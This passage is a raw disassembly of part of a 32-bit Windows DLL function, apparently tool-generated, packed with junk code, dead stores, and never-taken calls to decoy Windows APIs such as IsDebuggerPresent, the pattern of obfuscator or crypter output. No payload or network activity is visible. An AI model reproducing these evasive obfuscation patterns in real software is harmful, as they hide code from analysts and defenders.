mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x18]
test eax, eax
je 0x10038f2d
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x3e4], eax
jge 0x10038f4f
xor eax, eax
lea ecx, [ebp - 0x56c]
push eax
call fcn.10018515
cmp dword [eax], 0
je 0x10038f4f
mov eax, ebx
jmp 0x10038f51
xor eax, eax
cmp eax, dword [ebp - 0x44]
je 0x10038f5f
xor eax, eax
cmp dword [ebp - 0x58], eax
je 0x10038f6d
jmp 0x10038f61
xor eax, eax
push eax
lea ecx, [ebp - 0x56c]
call fcn.10018515
imul eax, dword [ebp - 0x38], 0x1b5b
lea ecx, [ebp - 0x56c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor eax, eax
push eax
call fcn.10018515
mov ecx, dword [ebp - 0x28]
mov edx, 0x83560277
inc ecx
mov esi, eax
neg ecx
sbb ecx, ecx
inc ecx
sub edx, ecx
imul edx, dword [ebp - 0x38]
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x58]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
or eax, 0xffffffff
mov dword [esi], ecx
lea ecx, [ebp - 0x56c]
mov dword [ebp - 4], eax
call fcn.100184f9
push 3
pop esi
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10038fe1
push 0x146
push 0x1aec
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
dec dword [ebp - 0x28]
jns 0x10038d75
or edi, 0xffffffff
mov dword [ebp - 0x18], 0x99244325
lea ecx, [ebp - 0xd40]
mov dword [ebp - 0x18], 0x4696a485
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x58], 0xe1c2e937
mov dword [ebp - 0x24], ebx
push 2
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003904d
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd40]
call fcn.10018515
mov dword [eax], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003902e
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x100390a1
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], 0xb96c
cmp dword [ebp - 0x58], 0x1e0c
jg 0x100390a1
xor eax, eax
mov ecx, eax
jmp 0x100390a3
or edi, 0xffffffff
lea ecx, [ebp - 0xb80]
mov dword [ebp - 4], edi
call fcn.100184f9
jmp 0x10038fed
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x18]
setg dl
sub ecx, 0x876e6bac
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
cmp eax, 0xfffffffb
jne 0x1003910e
mov dword [ebp - 0x18], 0x95e2de4b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], 0xffffffe8
jmp 0x10039104
mov dword [ebp - 0x24], 0x278
lea ecx, [ebp - 0xd40]
mov eax, dword [ebp - 0x40]
push ebx
mov dword [ebp - 0x24], eax
call fcn.10018515
cmp dword [eax], 0
jne 0x10039176
inc dword [ebp - 0x18]
push 0xfffffffffffffff9
pop eax
cmp dword [ebp - 0x18], eax
jge 0x100390e3
jmp 0x10039176
push 4
lea ecx, [ebp - 0xc44]
call fcn.10018477
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x24], 0x7800ff68
mov dword [ebp - 0x10], eax
jmp 0x1003913e
push dword [ebp - 0x10]
call fcn.10018515
mov dword [eax], 0xfd8f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
lea ecx, [ebp - 0xc44]
jl 0x1003912d
push 2
call fcn.10018515
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1003916b
push 0x1f29
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [ebp - 0xc44]
call fcn.100184f9
lea ecx, [ebp - 0xd40]
mov dword [ebp - 4], edi
call fcn.100184f9
mov dword [ebp - 0x30], ebx
xor eax, eax
mov dword [ebp - 0x30], 7
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100391a2
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100391ba
push eax
push 0x1a5a
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayLock]
xor eax, eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], 0xf23e4692
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x100391e6
push 0xfffffffffffffff8
pop ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc5c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100391d2
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x10039206
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x314], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100391ee
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10039226
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6bc], 0x3782ecc9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1003920e
xor eax, eax
mov dword [ebp - 0x44], eax
jmp 0x1003926a
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10039267
push eax
push 0x653
push 0x14ad
push 0x24bb
push 0x16c6
push 0x10c5
push 0x218d
push 0x876
push 0x351
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
xor eax, eax
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 2
jle 0x1003922b
cmp dword [ebp - 0x44], eax
je 0x10039310
mov eax, dword [ebp - 0x310]
cmp eax, dword [ebp - 0xc54]
jl 0x1003929b
mov eax, dword [ebp - 0x314]
add eax, 9
cmp eax, 0x451f
jl 0x1003929b
mov eax, ebx
jmp 0x1003929d
xor eax, eax
mov dword [ebp - 0xc58], eax
mov eax, dword [ebp - 0x314]
mov eax, dword [ebp - 0xc58]
mov eax, dword [ebp - 0x310]
mov dword [ebp - 0x58], ebx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30c]
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, 0xffff
cmp dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x310]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x310]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x310]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x310]
setne dl
sub edx, eax
cmp edx, edi
je 0x1003930e
mov eax, ebx
jmp 0x10039310
xor eax, eax
mov dword [ebp - 0x6bc], eax
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jg 0x10039e82
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0xda0]
mov dword [ebp - 0x34], edi
push esi
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1003935b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x3f8], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10039347
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1003937d
push dword [ebp - 0x20]
lea ecx, [ebp - 0xda0]
call fcn.10018515
mov dword [eax], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10039363
xor eax, eax
mov dword [ebp - 0x38], 0xfffffff6
jmp 0x10039411
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], 0x6a3f1540
mov dword [ebp - 0x30], 0x6fe18bd2
mov dword [ebp - 0x10], eax
jmp 0x100393b0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb94], 0x7b5c6eff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003939f
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xb90], eax
cmp eax, dword [ebp - 0x40]
jle 0x100393dd
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, 0x631e
setge cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0xb94]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xda0]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x38]
neg eax
push ebx
sbb eax, eax
inc eax
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f8], edi
call fcn.10018515
push 0
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x38]
pop eax
cmp dword [ebp - 0x38], 0xfffffffe
jne 0x10039389
lea ecx, [ebp - 0xda0]
mov dword [ebp - 4], edi
call fcn.100184f9
mov dword [ebp - 0x4c], 5
lea ecx, [ebp - 0xc74]
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edi
push esi
call fcn.10018477
xor eax, eax
mov dword [ebp - 4], 0x19
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10039467
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x37c], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10039453
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10039489
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc74]
call fcn.10018515
mov dword [eax], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x1003946f
xor eax, eax
mov dword [ebp - 0x38], 0xfffffff6
jmp 0x1003951d
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x30], 0x6a3f1540
mov dword [ebp - 0x30], 0x6fe18bd2
mov dword [ebp - 0x10], eax
jmp 0x100394bc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbbc], 0x7b5c6eff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x100394ab
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xbb8], eax
cmp eax, dword [ebp - 0x40]
jle 0x100394e9
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, 0x631e
setge cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0xbbc]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xc74]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x38]
neg eax
push ebx
sbb eax, eax
inc eax
mov dword [ebp - 0x37c], eax
mov dword [ebp - 0x37c], edi
call fcn.10018515
push 0
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x38]
pop eax
cmp dword [ebp - 0x38], 0xfffffffe
jne 0x10039495
lea ecx, [ebp - 0xc74]
mov dword [ebp - 4], edi
call fcn.100184f9
mov dword [ebp - 0x58], 0xfffffff6
lea ecx, [ebp - 0xd58]
push ebx
call fcn.10018477
mov dword [ebp - 4], 0x1a
xor eax, eax
mov dword [ebp - 0x34], 0x9f845d81
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1003957a
push dword [ebp - 0x10]
lea ecx, [ebp - 0xd58]
call fcn.10018515
mov dword [eax], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10039560
xor eax, eax
push eax
lea ecx, [ebp - 0xd58]
call fcn.10018515
and dword [eax], 0
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x1003959c
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], eax
jl 0x100395e7
mov dword [ebp - 0x10], 0xbededb5c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x100395e2
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100395cc
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100395dd
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x100395b3
dec dword [ebp - 0x34]
jns 0x100395a4
lea ecx, [ebp - 0xd58]
mov dword [ebp - 4], edi
call fcn.100184f9
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x12c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], 0xdb3ae355
mov dword [ebp - 0x20], 0xffffffea
jmp 0x10039665
mov dword [ebp - 0x58], 0xe8588d0d
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffd
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10039633
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov eax, dword [ebp - 0x58]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
setle cl
sub edx, ecx
neg edx
sbb edx, edx
inc edx
sub eax, edx
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
je 0x10039615
mov dword [ebp - 0x30], 0xca631852
lea ecx, [ebp - 0xf94]
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x30], 0x7dc4b4e1
mov dword [ebp - 0x30], 0xa624cdb
push esi
call fcn.10018477
mov dword [ebp - 4], 0x1b
xor eax, eax
mov dword [ebp - 0x58], 0x5595
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x100396c8
push dword [ebp - 0x10]
lea ecx, [ebp - 0xf94]
call fcn.10018515
mov dword [eax], 0x9ae77ab3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100396aa
xor eax, eax
inc dword [ebp - 0x58]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100396f2
push 0x1d46
push 0x1b87
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
lea ecx, [ebp - 0xf94]
mov dword [ebp - 4], edi
call fcn.100184f9
movdqa xmm0, xmmword [0x10007e00]
lea ecx, [ebp - 0x13fc]
xor eax, eax
mov byte [ebp - 0x11], al
lea eax, [ebp - 0x1330]
push eax
lea eax, [ebp - 0x1340]
push eax
movdqu xmmword [ebp - 0x1340], xmm0
call fcn.10018524
lea ecx, [ebp - 0x1be]
mov esi, eax
call fcn.10008e83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x2fc]
push dword [esi]
call fcn.100184d3
mov dword [ebp - 4], 0x1c
xor eax, eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x58], 0xac6aa04d
mov dword [ebp - 0x44], 3
cmp dword [ebp - 0x44], eax
jl 0x1003998a
mov dword [ebp - 0x28], 0x80c170c
mov dword [ebp - 0x28], 3
cmp dword [ebp - 0x28], eax
jl 0x1003997e
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x34], 0x36fe
push dword [ebp - 0x44]
call fcn.10018515
push 3
lea ecx, [ebp - 0x2fc]
call fcn.10018515
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x2fc]
mov eax, dword [ebp - 0x28]
push 3
call fcn.10018515
push 3
lea ecx, [ebp - 0x2fc]
call fcn.10018515
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp eax, 5
push ebx
setge cl
mov dword [ebp - 0x58], ecx
lea ecx, [ebp - 0x2fc]
mov eax, dword [ebp - 0x58]
neg eax
mov dword [ebp - 0x48], eax
call fcn.10018515
mov edx, dword [ebp - 0x48]
mov esi, eax
mov ecx, dword [ebp - 0x28]
xor eax, eax
push dword [ebp - 0x44]
cmp edx, ecx
lea ecx, [ebp - 0x2fc]
setl al
xor ebx, ebx
cmp eax, dword [esi]
setg bl
call fcn.10018515
xor ecx, ecx
cmp dword [eax], ebx
setle cl
add ecx, 9
je 0x10039941
dec dword [ebp - 0x44]
jns 0x1003976f
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1003999a
push eax
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 4], edi
call fcn.100184f9
cmp byte [ebp - 0x11], 0
je 0x10039adf
push 2
lea ecx, [ebp - 0x308]
call fcn.10018477
mov dword [ebp - 4], 0x30
xor eax, eax
mov dword [ebp - 0x48], 0xddcef989
push 0xfffffffffffffff9
mov dword [ebp - 0x10], eax
pop ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10039ecc
push dword [ebp - 0x20]
lea ecx, [ebp - 0x308]
call fcn.10018515
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10039eb1
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10039eec
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x84c], 0x3e2e1665
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10039ed4
xor eax, eax
push eax
lea ecx, [ebp - 0x308]
call fcn.10018515
lea ecx, [ebp - 0x308]
and dword [eax], 0
xor eax, eax
push eax
call fcn.10018515
cmp dword [eax], 0xffffffe9
jg 0x1003a059
mov ebx, 0xffff
push 0xfffffffffffffff8
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x28], 0x13
jmp 0x10039fad
mov dword [ebp - 0x40], edi
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10039f5a
push eax
push 0x19ce
push eax
push 0x938
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
xor eax, eax
push eax
lea ecx, [ebp - 0x308]
call fcn.10018515
cmp dword [eax], 0
jne 0x10039f6e
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp eax, ebx
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x40]
setne cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setle bl
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, ebx
mov ebx, 0xffff
setl al
mov dword [ebp - 0x10], eax
inc dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x28], 0x19
jne 0x10039f2c
mov dword [ebp - 0x28], 4
cmp dword [ebp - 0x28], eax
je 0x1003a01e
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp eax, 0xcec5193
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, 0x19be
setg cl
sub eax, ecx
lea ecx, [ebp - 0x308]
imul eax, eax, 3
mov dword [ebp - 0x84c], eax
xor eax, eax
push eax
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x308]
push eax
call fcn.10018515
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
push 0xfffffffffffffff6
pop ecx
sub ecx, eax
xor eax, eax
add ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x308]
push eax
call fcn.10018515
lea ecx, [ebp - 0x308]
dec dword [eax]
xor eax, eax
push eax
call fcn.10018515
cmp dword [eax], 0xffffffe9
jle 0x10039f17
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0x308]
mov dword [ebp - 4], edi
call fcn.100184f9
mov eax, dword [ebp - 0x50]
inc dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x2c], eax
jle 0x10038d0b
push 2
lea ecx, [ebp - 0x410]
call fcn.10018477
mov dword [ebp - 4], 0x31
mov edi, 0x667a876e
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
mov esi, 0xdf99ff60
cmp dword [ebp - 0x10], 2
jge 0x1003a0bf
push dword [ebp - 0x10]
lea ecx, [ebp - 0x410]
call fcn.10018515
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a0a4
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003a152
push dword [ebp - 0x2c]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x410]
push eax
call fcn.10018515
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x410]
call fcn.10018515
push dword [ebp - 0x2c]
xor ebx, ebx
lea ecx, [ebp - 0x410]
imul eax, dword [eax], 0x5eb2
cmp eax, 0x734f
setne bl
call fcn.10018515
push dword [ebp - 0x2c]
xor ecx, ecx
cmp dword [eax], ecx
sete cl
xor eax, eax
cmp ebx, ecx
lea ecx, [ebp - 0x410]
setle al
sub eax, 0xa21e
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
call fcn.10018515
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
push dword [ebp - 0x2c]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x410]
setle bl
call fcn.10018515
mov dword [eax], ebx
xor ebx, ebx
inc dword [ebp - 0x2c]
inc ebx
lea ecx, [ebp - 0x410]
cmp dword [ebp - 0x2c], ebx
jle 0x1003a0c7
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.100184f9
push 2
lea ecx, [ebp - 0x3c8]
call fcn.10018477
mov dword [ebp - 4], 0x32
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003a1a9
push dword [ebp - 0x10]
lea ecx, [ebp - 0x3c8]
call fcn.10018515
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a18e
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003a23c
push dword [ebp - 0x2c]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x3c8]
push eax
call fcn.10018515
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x3c8]
call fcn.10018515
push dword [ebp - 0x2c]
xor ebx, ebx
lea ecx, [ebp - 0x3c8]
imul eax, dword [eax], 0x5eb2
cmp eax, 0x734f
setne bl
call fcn.10018515
push dword [ebp - 0x2c]
xor ecx, ecx
cmp dword [eax], ecx
sete cl
xor eax, eax
cmp ebx, ecx
lea ecx, [ebp - 0x3c8]
setle al
sub eax, 0xa21e
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
call fcn.10018515
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
push dword [ebp - 0x2c]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x3c8]
setle bl
call fcn.10018515
mov dword [eax], ebx
xor ebx, ebx
inc dword [ebp - 0x2c]
inc ebx
lea ecx, [ebp - 0x3c8]
cmp dword [ebp - 0x2c], ebx
jle 0x1003a1b1
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.100184f9
push 2
lea ecx, [ebp - 0x460]
call fcn.10018477
mov dword [ebp - 4], 0x33
xor eax, eax
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003a293
push dword [ebp - 0x10]
lea ecx, [ebp - 0x460]
call fcn.10018515
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a278
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1003a326
push dword [ebp - 0x2c]
call fcn.10018515
xor eax, eax
lea ecx, [ebp - 0x460]
push eax
call fcn.10018515
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x460]
call fcn.10018515
push dword [ebp - 0x2c]
xor ebx, ebx
lea ecx, [ebp - 0x460]
imul eax, dword [eax], 0x5eb2
cmp eax, 0x734f
setne bl
call fcn.10018515
push dword [ebp - 0x2c]
xor ecx, ecx
cmp dword [eax], ecx
sete cl
xor eax, eax
cmp ebx, ecx
lea ecx, [ebp - 0x460]
setle al
sub eax, 0xa21e
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
call fcn.10018515
mov ecx, dword [ebp - 0x4c]
xor ebx, ebx
push dword [ebp - 0x2c]
cmp ecx, dword [eax]
lea ecx, [ebp - 0x460]
setle bl
call fcn.10018515
mov dword [eax], ebx
xor ebx, ebx
inc dword [ebp - 0x2c]
inc ebx
lea ecx, [ebp - 0x460]
cmp dword [ebp - 0x2c], ebx
jle 0x1003a29b
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.100184f9
mov edx, 0x90c4d8e5
xor eax, eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003a36f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbcc], 0x3df7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a356
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jg 0x1003a398
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xbcc]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbcc], ecx
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003a377
xor eax, eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003a3c0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbc4], 0x3df7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1003a3a7
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003a3df
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0xbc4]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xbc4], ecx
mov dword [ebp - 0x4c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003a3c5
movdqa xmm0, xmmword [0x10007dc0]
lea eax, [ebp - 0x1150]
push eax
lea eax, [ebp - 0x1160]
mov dword [ebp - 0x38], 0x2c7c
push eax
lea ecx, [ebp - 0x140c]
movdqu xmmword [ebp - 0x1160], xmm0
call fcn.10018524
lea ecx, [ebp - 0x1d8]
mov esi, eax
call fcn.10008e83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x3e0]
push dword [esi]
call fcn.100184d3
push 2
lea ecx, [ebp - 0x924]
mov dword [ebp - 4], 0x34
call fcn.10018477
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x584]
mov dword [ebp - 0x44], ebx
or esi, 0xffffffff
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x2c], 0x6896e60b
push ebx
call fcn.10018477
mov byte [ebp - 4], 0x36
mov eax, 0xffff
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1003a49c
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x924]
call fcn.10018515
mov dword [eax], 0x81f3403c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003a47d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1003a4ba
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2a4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1003a4a5
xor eax, eax
